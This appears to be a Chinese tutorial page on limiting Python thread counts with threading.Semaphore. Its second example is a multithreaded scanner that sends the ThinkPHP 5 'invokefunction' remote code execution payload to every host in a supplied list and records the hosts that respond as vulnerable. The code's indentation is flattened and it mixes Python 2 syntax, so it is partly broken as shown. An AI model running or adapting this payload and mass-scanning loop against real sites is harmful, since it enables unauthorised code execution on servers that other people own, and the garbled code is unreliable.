python多線程semaphore如何實(shí)現(xiàn)線程數(shù)控制

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #繼承threading類
 def __init__(self, i, sem): 
 super(test, self).__init__()   #繼承python的構(gòu)造方法，這為python2的寫法，python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #釋放線程數(shù)，線程數(shù)加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #設(shè)置可同時(shí)執(zhí)行的最大線程數(shù)
 for i in range(50):
 sem.acquire()         #獲得線程，可用線程數(shù)減1
 t = test(i, sem)       #給執(zhí)行函數(shù)傳遞值
 t.start()           #執(zhí)行函數(shù)
sem = threading.Semaphore(5)    #設(shè)置可同時(shí)開(kāi)啟的線程數(shù)，這里為5個(gè)

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判斷是否存在這個(gè)漏洞的執(zhí)行函數(shù)
 def __init__(self, url, sem):
 super(check, self).__init__()   #繼承threading類的構(gòu)造方法，python3的寫法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5遠(yuǎn)程代碼執(zhí)行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #執(zhí)行完函數(shù)，釋放線程，線程數(shù)加1

class host(threading.Thread):     #遍歷文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #繼承threading類的構(gòu)造方法，python3的寫法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍歷一個(gè)就獲得一個(gè)線程，直到達(dá)到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #執(zhí)行check()的執(zhí)行函數(shù)

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大線程數(shù)為10個(gè)
 thread = host(sem)         #傳遞sem值
 thread.start()